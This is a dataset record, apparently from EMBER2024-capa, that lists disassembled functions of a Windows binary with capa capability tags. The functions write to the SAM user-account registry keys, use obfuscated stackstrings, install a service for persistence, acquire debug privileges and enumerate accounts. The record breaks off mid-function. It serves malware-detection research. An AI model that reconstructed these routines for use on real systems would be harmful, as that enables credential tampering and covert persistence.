joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000e610
Capabilities:
Set registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x260
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rbx, rcx
movsxd rbp, r8d
mov rsi, rdx
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x1ff
call fcn.14005fe50
lea rcx, [rsp + 0x50]
xor edx, edx
mov eax, 0x46
mov qword [rsp + 0x39], rdx
lea rdi, [rsp + 0x50]
mov word [rsp + 0x38], ax
mov rax, qword [str.SAMSAMDomainsAccountUsers_]
mov dword [rsp + 0x41], edx
mov qword [rcx], rax
mov rax, qword [0x1400769e8]
mov word [rsp + 0x45], dx
mov qword [rcx + 8], rax
mov rax, qword [0x1400769f0]
mov byte [rsp + 0x47], dl
mov qword [rcx + 0x10], rax
mov eax, dword [0x1400769f8]
mov qword [rsp + 0x30], rdx
mov dword [rcx + 0x18], eax
movzx eax, word [0x1400769fc]
mov word [rcx + 0x1c], ax
movzx eax, byte [0x1400769fe]
mov byte [rcx + 0x1e], al
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
xor ecx, ecx
movzx eax, byte [rbx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000e6c0
mov qword [rsi + 8], rdx
mov ebx, 5
lea rdi, [rbp + rsi - 1]
mov byte [rsi + 0x42], dl
mov byte [rsi + 0x43], dl
lea r12d, [rbx + 0x17]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul edx, edx, 0xff
sub ecx, edx
cmove ecx, r12d
mov byte [rdi], cl
call qword [sym.imp.KERNEL32.dll_Sleep]
dec rdi
sub rbx, 1
jne 0x14000e6e7
lea rax, [rsp + 0x30]
lea rdx, [rsp + 0x50]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000e773
mov rcx, qword [rsp + 0x30]
lea r9d, [rbx + 3]
lea rdx, [rsp + 0x38]
xor r8d, r8d
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14000e773
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [rbx + 1]
jmp 0x14000e780
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.14005fe20
add rsp, 0x260
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000e7a0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x260
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r9, rcx
lea rcx, [rsp + 0x50]
mov eax, 0x46
mov word [rsp + 0x40], ax
mov rax, qword [str.SAMSAMDomainsAccountUsers_]
lea rdi, [rsp + 0x50]
mov qword [rcx], rax
mov rax, qword [0x1400769e8]
mov rsi, r8
mov qword [rcx + 8], rax
mov rax, qword [0x1400769f0]
mov rbx, rdx
mov qword [rcx + 0x10], rax
mov eax, dword [0x1400769f8]
mov qword [rsp + 0x30], 0
mov dword [rcx + 0x18], eax
movzx eax, word [0x1400769fc]
mov dword [rsp + 0x38], 3
mov word [rcx + 0x1c], ax
movzx eax, byte [0x1400769fe]
mov byte [rcx + 0x1e], al
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000e840
lea rax, [rsp + 0x30]
lea rdx, [rsp + 0x50]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000e8b1
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x38]
lea rdx, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14000e8b1
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x14000e8be
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.14005fe20
add rsp, 0x260
pop rdi
pop rsi
pop rbx
ret
Function at 0x14000e8e0
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x170
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov rax, qword [str.SAMSAMDomainsAccountUsersNames_]
mov r8, rcx
lea rcx, [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [0x140076a08]
lea rdi, [rsp + 0x60]
mov qword [rcx + 8], rax
mov rax, qword [0x140076a10]
mov rbx, rdx
mov qword [rcx + 0x10], rax
mov rax, qword [0x140076a18]
mov byte [rsp + 0x40], 0x30
mov qword [rcx + 0x18], rax
mov eax, dword [0x140076a20]
mov byte [rsp + 0x41], 0x31
mov dword [rcx + 0x20], eax
movzx eax, byte [0x140076a24]
mov byte [rsp + 0x42], 0x32
mov byte [rcx + 0x24], al
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov byte [rsp + 0x43], 0x33
mov byte [rsp + 0x44], 0x34
xor ecx, ecx
mov byte [rsp + 0x45], 0x35
mov byte [rsp + 0x46], 0x36
mov byte [rsp + 0x47], 0x37
mov byte [rsp + 0x48], 0x38
mov byte [rsp + 0x49], 0x39
mov byte [rsp + 0x4a], 0x41
mov byte [rsp + 0x4b], 0x42
mov byte [rsp + 0x4c], 0x43
mov byte [rsp + 0x4d], 0x44
mov byte [rsp + 0x4e], 0x45
mov byte [rsp + 0x4f], 0x46
mov qword [rsp + 0x30], 0
mov byte [rsp + 0x50], 0
nop word [rax + rax]
movzx eax, byte [r8 + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000e9c0
lea rax, [rsp + 0x30]
lea rdx, [rsp + 0x60]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000ea70
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
lea r9, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14000ea70
mov ecx, dword [rsp + 0x38]
mov byte [rbx + 3], 0
mov rax, rcx
shr rax, 8
and eax, 0xf
movzx eax, byte [rsp + rax + 0x40]
mov byte [rbx], al
mov rax, rcx
and ecx, 0xf
shr rax, 4
and eax, 0xf
movzx eax, byte [rsp + rax + 0x40]
mov byte [rbx + 1], al
movzx eax, byte [rsp + rcx + 0x40]
mov rcx, qword [rsp + 0x30]
mov byte [rbx + 2], al
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x14000ea7d
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.14005fe20
mov rbx, qword [rsp + 0x190]
add rsp, 0x170
pop rdi
ret
Function at 0x14000eaa0
Capabilities:
Query or enumerate registry key

Disassembly:
push rbx
push rbp
push rsi
sub rsp, 0x2d0
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x2c0], rax
lea rax, [rsp + 0x38]
mov ebx, r8d
mov r9d, 0xf003f
xor r8d, r8d
mov rbp, rdx
mov rsi, rcx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x14000eaf5
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x14000ec9c
lea rcx, [rsp + 0xc0]
xor edx, edx
mov r8d, 0x100
call fcn.14005fe50
mov rcx, qword [rsp + 0x38]
lea r8, [rsp + 0xc0]
mov r9d, 0x100
mov edx, ebx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x14000ec8c
lea rcx, [rsp + 0x1c0]
xor edx, edx
mov r8d, 0x100
mov dword [rsp + 0x30], 0x100
call fcn.14005fe50
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xc0]
call fcn.14000e8e0
test eax, eax
je 0x14000ec7b
mov qword [rsp + 0x308], rdi
xor ecx, ecx
nop
movzx eax, byte [rsp + rcx + 0x40]
inc rcx
mov byte [rsp + rcx + 0x7f], al
test al, al
jne 0x14000eb70
lea rdx, [0x140000000]
lea rcx, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov eax, dword [rdx + 0x76a28]
mov dword [rcx], eax
movzx eax, word [rdx + 0x76a2c]
lea rdx, [rsp + 0x80]
mov word [rcx + 4], ax
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x14000ebc0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x40]
call fcn.14000e7a0
test eax, eax
je 0x14000ec73
movsxd rdi, dword [0x1400ad788]
cmp edi, 0x12b
jge 0x14000ec73
lea rdx, [rsp + 0xc0]
mov rax, rdi
lea r9, [0x140000000]
shl rax, 8
lea rcx, [rsp + 0xc0]
mov r8, rdi
sub rax, rdx
lea rdx, [rax + r9 + 0x96a30]
nop dword [rax]
movzx eax, byte [rcx]
inc rcx
mov byte [rdx + rcx - 1], al
test al, al
jne 0x14000ec30
mov rax, qword [rsp + 0x1f0]
shl r8, 5
inc edi
mov qword [r8 + r9 + 0xa96e0], rax
mov rax, qword [rsp + 0x208]
mov dword [0x1400ad788], edi
mov qword [r8 + r9 + 0xa96e8], rax
mov byte [r8 + r9 + 0xa96f0], 0
mov rdi, qword [rsp + 0x308]
lea r8d, [rbx + 1]
mov rdx, rbp
mov rcx, rsi
call fcn.14000eaa0
jmp 0x14000ec9c
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rcx, qword [rsp + 0x2c0]
xor rcx, rsp
call fcn.14005fe20
add rsp, 0x2d0
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000f760
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x28
lea rcx, str.PDH.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1400ad8a0], rax
test rax, rax
je 0x14000f853
lea rdx, str.PdhOpenQueryA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1400ad8a0]
lea rdx, str.PdhAddCounterA
mov qword [0x1400aceb0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1400ad8a0]
lea rdx, str.PdhCollectQueryData
mov qword [0x1400969f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1400ad8a0]
lea rdx, str.PdhGetFormattedCounterValue
mov qword [0x1400a9638], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1400ad8a0]
lea rdx, str.PdhCloseQuery
mov qword [0x1400ace10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x1400aceb0], 0
mov qword [0x1400ace70], rax
je 0x14000f83b
cmp qword [0x1400969f8], 0
je 0x14000f83b
cmp qword [0x1400a9638], 0
je 0x14000f83b
cmp qword [0x1400ace10], 0
je 0x14000f83b
test rax, rax
je 0x14000f83b
mov eax, 1
add rsp, 0x28
ret
mov rcx, qword [0x1400ad8a0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [0x1400ad8a0], 0
xor eax, eax
add rsp, 0x28
ret

Function at 0x14000ff30
Capabilities:
Query service status

Disassembly:
push rdi
sub rsp, 0x40
mov rdi, rcx
test rcx, rcx
jne 0x14000ff46
xor eax, eax
add rsp, 0x40
pop rdi
ret
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x50], rbx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
test rax, rax
je 0x14000ffc6
mov r8d, 4
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
test rax, rax
je 0x14000ffbd
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x14000ffb4
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rbx, qword [rsp + 0x50]
xor eax, eax
cmp dword [rsp + 0x24], 4
sete al
add rsp, 0x40
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x140011ba0
Capabilities:
Query service status

Disassembly:
push rdi
sub rsp, 0x40
mov rdi, rcx
test rcx, rcx
jne 0x140011bb6
xor al, al
add rsp, 0x40
pop rdi
ret
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x50], rbx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
test rax, rax
je 0x140011c34
mov r8d, 4
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
test rax, rax
je 0x140011c2b
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x140011c22
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [rsp + 0x24], 4
mov rbx, qword [rsp + 0x50]
sete al
add rsp, 0x40
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140011e60
Capabilities:
Create service
Persist via windows service

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x190
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x180], rax
xor edx, edx
mov rdi, rcx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
test rax, rax
je 0x140011f61
lea rdx, [rsp + 0x70]
mov r8d, 0x105
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140011f58
xor ecx, ecx
lea rax, [rsp + 0x70]
mov r9d, 0xf01ff
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ecx
mov r8, rdi
mov rdx, rdi
mov rcx, rbx
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x1a8], rsi
mov dword [rsp + 0x20], 0x110
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rsi, rax
test rax, rax
je 0x140011f38
mov r9d, SQLSetConnectAttr
lea rcx, str.Install_Service__c_s_c_Successfully_n
mov r8, rdi
mov edx, r9d
call fcn.140060a58
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140011f50
mov r9d, SQLSetConnectAttr
lea rcx, str.Fail_To_Install_Service__c_s_c_n
mov r8, rdi
mov edx, r9d
call fcn.140060a58
mov rsi, qword [rsp + 0x1a8]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.14005fe20
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x190
pop rdi
ret
Function at 0x1400120b0
Capabilities:
Modify service

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x180
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rbx, rcx
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x104
mov byte [rsp + 0x60], 0
call fcn.14005fe50
xor esi, esi
test rbx, rbx
je 0x14001210b
mov rcx, rbx
call fcn.140012030
test eax, eax
jne 0x140012112
lea rcx, str.The_Service___s__Doesnt_Exist_n
mov rdx, rbx
call fcn.140060a58
xor eax, eax
jmp 0x140012237
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
mov qword [rsp + 0x198], rdi
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
test rax, rax
jne 0x14001214d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.OpenSCManager_failed___d__n
mov edx, eax
call fcn.140060a58
xor eax, eax
jmp 0x14001222f
mov r8d, 2
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
test rax, rax
jne 0x14001218b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.OpenService_failed___d__n
mov edx, eax
call fcn.140060a58
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x14001222f
lea rdx, [rsp + 0x60]
mov r8d, 0x105
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14001221b
mov qword [rsp + 0x50], rsi
lea rax, [0x1400757f4]
or r9d, 0xffffffff
mov qword [rsp + 0x48], rax
lea rax, str..LocalSystem
mov edx, 0x110
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rsi
mov r8d, 2
mov rcx, rbx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
jne 0x14001220a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ChangeServiceConfig_failed___d__n
mov edx, eax
call fcn.140060a58
jmp 0x14001221b
lea rcx, str.Install_Service_Successfully_n
call fcn.140060a58
mov esi, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
mov rdi, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.14005fe20
mov rbx, qword [rsp + 0x1a0]
add rsp, 0x180
pop rsi
ret
Function at 0x1400151a0
Capabilities:
Acquire debug privileges

Disassembly:
test rcx, rcx
je 0x140015210
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rdi, rcx
test rdx, rdx
je 0x140015206
lea rcx, str.SeDebugPrivilege
mov edx, 1
call fcn.140006fd0
call fcn.140001010
call fcn.140001420
test al, al
je 0x1400151fa
lea rcx, str.Get_Sql_Port_Ok
call fcn.140001030
mov rdx, rbx
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.140002160
lea rcx, str.Fail_To_Get_Sql_Port
call fcn.140001030
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
repz ret
Function at 0x140015db0
Capabilities:
Read .ini file

Disassembly:
push rbp
push rsi
sub rsp, 0x1f8
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
xor eax, eax
mov rbp, rcx
lea rcx, [rsp + 0x51]
lea r8d, [rax + 0x7f]
xor edx, edx
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x31], rax
mov dword [rsp + 0x39], eax
mov word [rsp + 0x3d], ax
mov byte [rsp + 0x3f], al
mov byte [rsp + 0x40], al
mov qword [rsp + 0x41], rax
mov dword [rsp + 0x49], eax
mov word [rsp + 0x4d], ax
mov byte [rsp + 0x4f], al
mov byte [rsp + 0x50], al
call fcn.14005fe50
lea rcx, [rsp + 0xd1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0xd0], 0
call fcn.14005fe50
lea rdx, [0x140075890]
mov rcx, rbp
xor esi, esi
call fcn.140015c20
test eax, eax
je 0x14001600d
mov qword [rsp + 0x218], rbx
mov qword [rsp + 0x1f0], r12
lea r12, [0x1400ad4c0]
mov qword [rsp + 0x220], rdi
mov ebx, esi
nop dword [rax]
cmp esi, 0xc8
ja 0x140015ff0
xor eax, eax
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x80
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
call fcn.14005fe50
lea r8, str.User_d
lea rcx, [rsp + 0x40]
mov r9d, ebx
mov edx, SQLNumResultCols
call fcn.14005ff3c
lea r9, [rsp + 0x50]
lea rdx, str.UserName
lea rcx, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x80
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x140015eef
inc esi
jmp 0x140015fe2
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x50]
mov edx, edx
call fcn.14000cac0
lea r9, [rsp + 0x30]
lea rdx, str.AccountStatus
lea rcx, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], SQLNumResultCols
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140015fe2
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x30]
mov edx, edx
call fcn.14000cac0
lea rdx, str.Enable
lea rcx, [rsp + 0x30]
call fcn.1400605e0
test eax, eax
jne 0x140015f9c
lea rax, [rsp + 0x50]
lea r9d, [rbx + 1]
lea r8, str.Account__d:__s_____Enable_r_n
lea rcx, [rsp + 0xd0]
mov edx, 0x103
mov qword [rsp + 0x20], rax
call fcn.14005ff3c
jmp 0x140015fc3
lea rax, [rsp + 0x50]
lea r9d, [rbx + 1]
lea r8, str.Account__d:__s_____Disable_r_n
lea rcx, [rsp + 0xd0]
mov edx, 0x103
mov qword [rsp + 0x20], rax
call fcn.14005ff3c
lea rdx, [rsp + 0xd0]
mov rcx, rbp
call fcn.140015c20
test eax, eax
je 0x140015ff0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x3e8
jb 0x140015e70
mov r12, qword [rsp + 0x1f0]
mov rdi, qword [rsp + 0x220]
mov rbx, qword [rsp + 0x218]
mov eax, 1
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.14005fe20
add rsp, 0x1f8
pop rsi
pop rbp
ret
Function at 0x140016030
Capabilities:
Read .ini file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r12
sub rsp, 0xd0
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0xc0], rax
xor esi, esi
mov rbp, rcx
lea r12, [0x1400ad4c0]
mov ebx, esi
mov qword [rsp + 0xf8], rdi
nop dword [rax + rax]
cmp esi, 0xc8
ja 0x140016121
xor eax, eax
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x80
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
call fcn.14005fe50
lea r8, str.User_d
lea rcx, [rsp + 0x30]
mov r9d, ebx
mov edx, SQLNumResultCols
call fcn.14005ff3c
lea r9, [rsp + 0x40]
lea rdx, str.UserName
lea rcx, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x80
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x1400160e2
inc esi
jmp 0x140016113
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [rsp + 0x40]
mov rdx, rbp
call fcn.1400605e0
test eax, eax
je 0x140016150
inc ebx
cmp ebx, 0x3e8
jb 0x140016070
or eax, 0xffffffff
mov rdi, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14005fe20
mov rbx, qword [rsp + 0x100]
add rsp, 0xd0
pop r12
pop rsi
pop rbp
ret
mov eax, ebx
jmp 0x140016124
Function at 0x1400178a0
Capabilities:
Read .ini file

Disassembly:
sub rsp, 0x158
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor eax, eax
mov r9d, ecx
lea r8, str.User_d
lea edx, [rax + 0xf]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
call fcn.14005ff3c
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x100
call fcn.14005fe50
lea rdx, [0x1400ad4c0]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x28], rdx
lea rcx, [rsp + 0x30]
lea rdx, str.UserName
xor r8d, r8d
mov dword [rsp + 0x20], 0x100
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x14001793a
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.14005fe20
add rsp, 0x158
ret
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x150], rdi
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x40]
mov edx, edx
call fcn.14000cac0
lea rcx, [0x1400acda8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rdi, qword [0x1400ad488]
test rdi, rdi
je 0x14001799d
nop dword [rax + rax]
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x1400179cc
mov rdi, qword [rdi + 0x1b0]
test rdi, rdi
jne 0x140017980
lea rcx, [0x1400acda8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
mov rdi, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.14005fe20
add rsp, 0x158
ret
lea rcx, [0x1400acda8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, rdi
jmp 0x1400179ac
Function at 0x140017b10
Capabilities:
Read .ini file

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x100
mov rax, qword [0x1400950c8]
xor rax, rsp
mov qword [rsp + 0xf0], rax
xor eax, eax
mov edi, edx
lea rcx, [rsp + 0x70]
xor edx, edx
mov r8d, 0x80
xor ebx, ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
call fcn.14005fe50
lea r8, str.User_d
lea edx, [rbx + 0x3f]
lea rcx, [rsp + 0x30]
mov r9d, edi
call fcn.14005ff3c
lea rdx, [0x1400ad4c0]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x28], rdx
lea rcx, [rsp + 0x30]
lea rdx, str.UserName
xor r8d, r8d
mov dword [rsp + 0x20], 0x80
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140017c77
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x70]
repne scasb al, byte [rdi]
mov qword [rsp + 0x110], rsi
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x70]
mov edx, edx
call fcn.14000cac0
lea rcx, [0x1400acda8]
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rdi, qword [0x1400ad488]
test rdi, rdi
je 0x140017c2c
nop
lea rdx, [rsp + 0x70]
mov rcx, rdi
call fcn.1400605e0
test eax, eax
je 0x140017c1f
mov rdi, qword [rdi + 0x1b0]
test rdi, rdi
jne 0x140017c00
jmp 0x140017c2c
mov esi, 1
